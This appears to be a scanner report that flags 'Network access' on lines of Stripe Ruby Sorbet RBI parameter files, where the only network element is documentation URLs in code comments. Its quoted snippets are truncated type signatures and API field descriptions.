def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 93
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 216
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 217
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 218
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 236
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 237
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 238
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 323
sig { params(_initiated_at: Integer).returns(Integer) } def initiated_at=(_initiated_at); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing addition - Network accessline 324
def initiated_at=(_initiated_at); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indi - Network accessline 325
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_record_report_refund_params.rbi
- Network accessline 6
class PaymentRecordReportRefundParams < ::Stripe::RequestParams class Amount < ::Stripe::RequestParams # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported curren - Network accessline 7
class Amount < ::Stripe::RequestParams # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) - Network accessline 8
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 11
sig { params(_currency: String).returns(String) } def currency=(_currency); end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can - Network accessline 12
def currency=(_currency); end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. sig { returns(Integer - Network accessline 13
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 55
def initialize(refunded_at: nil); end end # A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) representing how much of this payment to refund. Can refund only up to the remaining, un - Network accessline 56
end # A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) representing how much of this payment to refund. Can refund only up to the remaining, unrefunded amount of the payment. sig { - Network accessline 57
# A positive integer in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) representing how much of this payment to refund. Can refund only up to the remaining, unrefunded amount of the payment. - Network accessline 72
sig { params(_initiated_at: T.nilable(Integer)).returns(T.nilable(Integer)) } def initiated_at=(_initiated_at); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 73
def initiated_at=(_initiated_at); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indi - Network accessline 74
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payout_create_params.rbi
- Network accessline 10
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/c - Network accessline 11
def amount=(_amount); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 12
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 30
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 31
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 32
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 37
} def metadata=(_metadata); end # The method used to send this payout, which is `standard` or `instant`. We support `instant` for payouts to debit cards and bank accounts in certain countries. Learn more about [bank support for Inst - Network accessline 38
def metadata=(_metadata); end # The method used to send this payout, which is `standard` or `instant`. We support `instant` for payouts to debit cards and bank accounts in certain countries. Learn more about [bank support for Instant Pa - Network accessline 39
# The method used to send this payout, which is `standard` or `instant`. We support `instant` for payouts to debit cards and bank accounts in certain countries. Learn more about [bank support for Instant Payouts](https://stripe.com/docs/pay
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payout_reverse_params.rbi
- Network accessline 10
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 11
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 12
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payout_update_params.rbi
- Network accessline 10
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 11
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 12
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/plan_create_params.rbi
- Network accessline 16
sig { params(_id: T.nilable(String)).returns(T.nilable(String)) } def id=(_id); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional inf - Network accessline 17
def id=(_id); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be - Network accessline 18
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 35
sig { params(_statement_descriptor: T.nilable(String)).returns(T.nilable(String)) } def statement_descriptor=(_statement_descriptor); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 36
def statement_descriptor=(_statement_descriptor); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. sig { returns(T.nilable(String)) } - Network accessline 37
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 129
sig { params(_billing_scheme: T.nilable(String)).returns(T.nilable(String)) } def billing_scheme=(_billing_scheme); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [s - Network accessline 130
def billing_scheme=(_billing_scheme); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) - Network accessline 131
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 154
sig { params(_interval_count: T.nilable(Integer)).returns(T.nilable(Integer)) } def interval_count=(_interval_count); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be - Network accessline 155
def interval_count=(_interval_count); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 156
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 197
} def transform_usage=(_transform_usage); end # Default number of trial days when subscribing a customer to this plan using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan). - Network accessline 198
def transform_usage=(_transform_usage); end # Default number of trial days when subscribing a customer to this plan using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan). sig { returns(T.nil - Network accessline 199
# Default number of trial days when subscribing a customer to this plan using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/plan_update_params.rbi
- Network accessline 15
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 16
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 17
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 32
sig { params(_product: T.nilable(String)).returns(T.nilable(String)) } def product=(_product); end # Default number of trial days when subscribing a customer to this plan using [`trial_from_plan=true`](https://docs.stripe.com/api#cr - Network accessline 33
def product=(_product); end # Default number of trial days when subscribing a customer to this plan using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan). sig { returns(T.nilable(Integer)) } - Network accessline 34
# Default number of trial days when subscribing a customer to this plan using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/price_create_params.rbi
- Network accessline 76
} def custom_unit_amount=(_custom_unit_amount); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provid - Network accessline 77
def custom_unit_amount=(_custom_unit_amount); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in th - Network accessline 78
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 146
sig { params(_id: T.nilable(String)).returns(T.nilable(String)) } def id=(_id); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional inf - Network accessline 147
def id=(_id); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be - Network accessline 148
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 165
sig { params(_statement_descriptor: T.nilable(String)).returns(T.nilable(String)) } def statement_descriptor=(_statement_descriptor); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 166
def statement_descriptor=(_statement_descriptor); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. sig { returns(T.nilable(String)) } - Network accessline 167
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 204
sig { params(_meter: T.nilable(String)).returns(T.nilable(String)) } def meter=(_meter); end # Default number of trial days when subscribing a customer to this price using [`trial_from_plan=true`](https://docs.stripe.com/api#cre - Network accessline 205
def meter=(_meter); end # Default number of trial days when subscribing a customer to this price using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan). sig { returns(T.nilable(Integer)) - Network accessline 206
# Default number of trial days when subscribing a customer to this price using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan). - Network accessline 286
sig { params(_billing_scheme: T.nilable(String)).returns(T.nilable(String)) } def billing_scheme=(_billing_scheme); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [s - Network accessline 287
def billing_scheme=(_billing_scheme); end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) - Network accessline 288
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 291
sig { params(_currency: String).returns(String) } def currency=(_currency); end # Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html - Network accessline 292
def currency=(_currency); end # Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/c - Network accessline 293
# Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 315
sig { params(_lookup_key: T.nilable(String)).returns(T.nilable(String)) } def lookup_key=(_lookup_key); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for st - Network accessline 316
def lookup_key=(_lookup_key); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu - Network accessline 317
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 327
sig { params(_nickname: T.nilable(String)).returns(T.nilable(String)) } def nickname=(_nickname); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong - Network accessline 328
def nickname=(_nickname); end # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. sig { returns(T.nilable(String)) } - Network accessline 329
# The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. - Network accessline 346
} def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax s - Network accessline 347
def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax setting - Network accessline 348
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/price_search_params.rbi
- Network accessline 20
sig { params(_page: T.nilable(String)).returns(T.nilable(String)) } def page=(_page); end # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query - Network accessline 21
def page=(_page); end # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for prices](https://docs.stripe.com/search#query-fields-for-price - Network accessline 22
# The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for prices](https://docs.stripe.com/search#query-fields-for-prices).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/price_update_params.rbi
- Network accessline 76
} def custom_unit_amount=(_custom_unit_amount); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provid - Network accessline 77
def custom_unit_amount=(_custom_unit_amount); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in th - Network accessline 78
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 114
sig { params(_active: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) } def active=(_active); end # Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso- - Network accessline 115
def active=(_active); end # Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/curre - Network accessline 116
# Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 131
sig { params(_lookup_key: T.nilable(String)).returns(T.nilable(String)) } def lookup_key=(_lookup_key); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for st - Network accessline 132
def lookup_key=(_lookup_key); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individu - Network accessline 133
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 143
sig { params(_nickname: T.nilable(String)).returns(T.nilable(String)) } def nickname=(_nickname); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-defa - Network accessline 144
def nickname=(_nickname); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. - Network accessline 145
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/product_create_params.rbi
- Network accessline 79
} def custom_unit_amount=(_custom_unit_amount); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not pr - Network accessline 80
def custom_unit_amount=(_custom_unit_amount); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in - Network accessline 81
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 154
def initialize(interval: nil, interval_count: nil); end end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 155
end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 156
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 159
sig { params(_currency: String).returns(String) } def currency=(_currency); end # Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes. - Network accessline 160
def currency=(_currency); end # Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs - Network accessline 161
# Prices defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 175
} def custom_unit_amount=(_custom_unit_amount); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a s - Network accessline 176
def custom_unit_amount=(_custom_unit_amount); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structure - Network accessline 177
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 189
} def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe T - Network accessline 190
def recurring=(_recurring); end # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax setti - Network accessline 191
# Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co - Network accessline 256
sig { params(_active: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) } def active=(_active); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object. This Price will be set as the default price fo - Network accessline 257
def active=(_active); end # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object. This Price will be set as the default price for this product. sig { returns(T.nilable(ProductCreateParams::DefaultPriceData) - Network accessline 258
# Data used to generate a new [Price](https://docs.stripe.com/api/prices) object. This Price will be set as the default price for this product. - Network accessline 283
sig { params(_images: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def images=(_images); end # A list of up to 15 marketing features for this product. These are displayed in [pricing tables](https://docs.strip - Network accessline 284
def images=(_images); end # A list of up to 15 marketing features for this product. These are displayed in [pricing tables](https://docs.stripe.com/payments/checkout/pricing-table). sig { returns(T.nilable(T::Array[ProductCreatePara - Network accessline 285
# A list of up to 15 marketing features for this product. These are displayed in [pricing tables](https://docs.stripe.com/payments/checkout/pricing-table). - Network accessline 290
} def marketing_features=(_marketing_features); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a struc - Network accessline 291
def marketing_features=(_marketing_features); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 292
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 322
sig { params(_statement_descriptor: T.nilable(String)).returns(T.nilable(String)) } def statement_descriptor=(_statement_descriptor); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 323
def statement_descriptor=(_statement_descriptor); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. sig { returns(T.nilable(String)) } - Network accessline 324
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/product_feature_create_params.rbi
- Network accessline 5
module Stripe class ProductFeatureCreateParams < ::Stripe::RequestParams # The ID of the [Feature](https://docs.stripe.com/api/entitlements/feature) object attached to this product. - Network accessline 6
class ProductFeatureCreateParams < ::Stripe::RequestParams # The ID of the [Feature](https://docs.stripe.com/api/entitlements/feature) object attached to this product. sig { returns(String) } - Network accessline 7
# The ID of the [Feature](https://docs.stripe.com/api/entitlements/feature) object attached to this product.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/product_list_params.rbi
- Network accessline 53
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Only return products with the given IDs. Cannot be used with [starting_after](https://api.stripe.com#list_products - Network accessline 54
def expand=(_expand); end # Only return products with the given IDs. Cannot be used with [starting_after](https://api.stripe.com#list_products-starting_after) or [ending_before](https://api.stripe.com#list_products-ending_before). s - Network accessline 55
# Only return products with the given IDs. Cannot be used with [starting_after](https://api.stripe.com#list_products-starting_after) or [ending_before](https://api.stripe.com#list_products-ending_before).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/product_search_params.rbi
- Network accessline 20
sig { params(_page: T.nilable(String)).returns(T.nilable(String)) } def page=(_page); end # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query - Network accessline 21
def page=(_page); end # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for products](https://docs.stripe.com/search#query-fields-for-pro - Network accessline 22
# The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for products](https://docs.stripe.com/search#query-fields-for-products).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/product_update_params.rbi
- Network accessline 43
sig { params(_active: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) } def active=(_active); end # The ID of the [Price](https://docs.stripe.com/api/prices) object that is the default price for this product. - Network accessline 44
def active=(_active); end # The ID of the [Price](https://docs.stripe.com/api/prices) object that is the default price for this product. sig { returns(T.nilable(String)) } - Network accessline 45
# The ID of the [Price](https://docs.stripe.com/api/prices) object that is the default price for this product. - Network accessline 65
} def images=(_images); end # A list of up to 15 marketing features for this product. These are displayed in [pricing tables](https://docs.stripe.com/payments/checkout/pricing-table). - Network accessline 66
def images=(_images); end # A list of up to 15 marketing features for this product. These are displayed in [pricing tables](https://docs.stripe.com/payments/checkout/pricing-table). sig { returns(T.nilable(T.any(String, T::Array[Pro - Network accessline 67
# A list of up to 15 marketing features for this product. These are displayed in [pricing tables](https://docs.stripe.com/payments/checkout/pricing-table). - Network accessline 72
} def marketing_features=(_marketing_features); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a struc - Network accessline 73
def marketing_features=(_marketing_features); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 74
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 104
sig { params(_statement_descriptor: T.nilable(String)).returns(T.nilable(String)) } def statement_descriptor=(_statement_descriptor); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. - Network accessline 105
def statement_descriptor=(_statement_descriptor); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. sig { returns(T.nilable(String)) } - Network accessline 106
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/promotion_code_create_params.rbi
- Network accessline 29
def initialize(minimum_amount: nil); end end # Promotion codes defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported cur - Network accessline 30
end # Promotion codes defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 31
# Promotion codes defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 48
sig { params(_minimum_amount: T.nilable(Integer)).returns(T.nilable(Integer)) } def minimum_amount=(_minimum_amount); end # Three-letter [ISO code](https://stripe.com/docs/currencies) for minimum_amount - Network accessline 49
def minimum_amount=(_minimum_amount); end # Three-letter [ISO code](https://stripe.com/docs/currencies) for minimum_amount sig { returns(T.nilable(String)) } - Network accessline 50
# Three-letter [ISO code](https://stripe.com/docs/currencies) for minimum_amount - Network accessline 100
sig { params(_max_redemptions: T.nilable(Integer)).returns(T.nilable(Integer)) } def max_redemptions=(_max_redemptions); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can - Network accessline 101
def max_redemptions=(_max_redemptions); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format - Network accessline 102
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/promotion_code_update_params.rbi
- Network accessline 15
def initialize(minimum_amount: nil); end end # Promotion codes defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported cur - Network accessline 16
end # Promotion codes defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 17
# Promotion codes defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 39
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be usefu - Network accessline 40
